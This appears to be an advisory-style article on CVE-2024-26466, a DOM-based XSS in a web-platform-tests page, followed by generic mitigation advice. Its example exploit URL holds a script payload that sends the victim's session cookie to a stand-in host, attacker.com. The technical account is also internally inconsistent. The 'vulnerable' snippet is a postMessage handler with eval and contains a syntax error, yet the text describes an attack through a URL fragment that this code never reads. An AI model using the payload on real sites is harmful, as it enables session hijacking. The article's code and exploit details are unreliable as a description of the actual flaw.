CVE-2024-26466 – DOM-Based Cross-Site Scripting Vulnerability in web-platform-tests/wpt
A recent security vulnerability, CVE-2024-26466, affecting the web-platform-tests/wpt project has been discovered by security researchers. This DOM-based Cross-Site Scripting (XSS) vulnerability lies in the component /dom/ranges/Range-test-iframe.html of web-platform-tests/wpt before commit 938e843. Attackers exploiting this vulnerability can execute arbitrary Javascript code by sending a victim a crafted URL. This article aims to provide an in-depth explanation of the vulnerability, its potential impact, and mitigations.
Details of CVE-2024-26466 Vulnerability
The vulnerability itself lies in the '/dom/ranges/Range-test-iframe.html' component. Here's an example of the vulnerable code snippet:
<!DOCTYPE html>
<html>
<head>
<title>DOM ranges – Range-test-iframe.html</title>
<!-- Vulnerable code starts here -->
<script>
function receiveMessage(event){
if (event.origin !== 'https://example.com';){ return; }
var message = event.data;
eval(message);
}
window.addEventListener("message", receiveMessage, false);
</script>
<!-- Vulnerable code ends here -->
</head>
<body>
...
</body>
</html>
A DOM-based XSS vulnerability occurs when the Javascript code written by the web application developer writes attacker-controllable data to an unsafe location within the DOM. In this case, the eval(message) function call is unsafe because it directly executes Javascript code provided by the attacker through the crafted URL.
Exploit Details
To successfully exploit this vulnerability, an attacker can craft a URL containing the malicious Javascript payload and send it to the victim. Once the victim clicks on the link, the payload is executed by the vulnerable web application, potentially allowing the attacker to steal sensitive information, hijack the user's session, or perform other malicious actions.
For instance, an attacker could craft a URL similar to the following
https://example.com/dom/ranges/Range-test-iframe.html#payload=<script>new Image().src='https://attacker.com/steal?cookie='+document.cookie;</script>;
When the victim clicks on the crafted URL, their session cookie could be stolen, allowing the attacker to hijack their session and perform actions on their behalf.
Refer to the original references to learn about the exact code changes made to fix this vulnerability:
- Vulnerable Code Snippet, pre-938e843
- Fixed Code Snippet, post-938e843
To protect your web application and users, apply the following recommendations
1. Ensure that your project is updated to the latest commit to web-platform-tests/wpt, including commit 938e843, which addresses this specific vulnerability.
2. Replace dangerous functions like eval() in your Javascript code with safer alternatives. Instead of executing arbitrary Javascript code, consider using JSON.parse() to parse JSON data safely.
3. Implement a strong Content Security Policy (CSP) to restrict the sources of scripts and other external assets being loaded and executed by your application.
4. Regularly perform security audits and testing on your web applications to identify and patch any vulnerabilities.
Conclusion
CVE-2024-26466 is a DOM-based XSS vulnerability in the component /dom/ranges/Range-test-iframe.html of web-platform-tests/wpt before commit 938e843. By understanding and mitigating the risks associated with this vulnerability, developers and users can maintain a more secure web environment. Regularly updating your projects and following security best practices are critical steps in protecting your applications and users from XSS and other vulnerabilities.
Timeline
Published on: 02/26/2024 16:27:59 UTC
Last modified on: 02/26/2024 16:32:25 UTC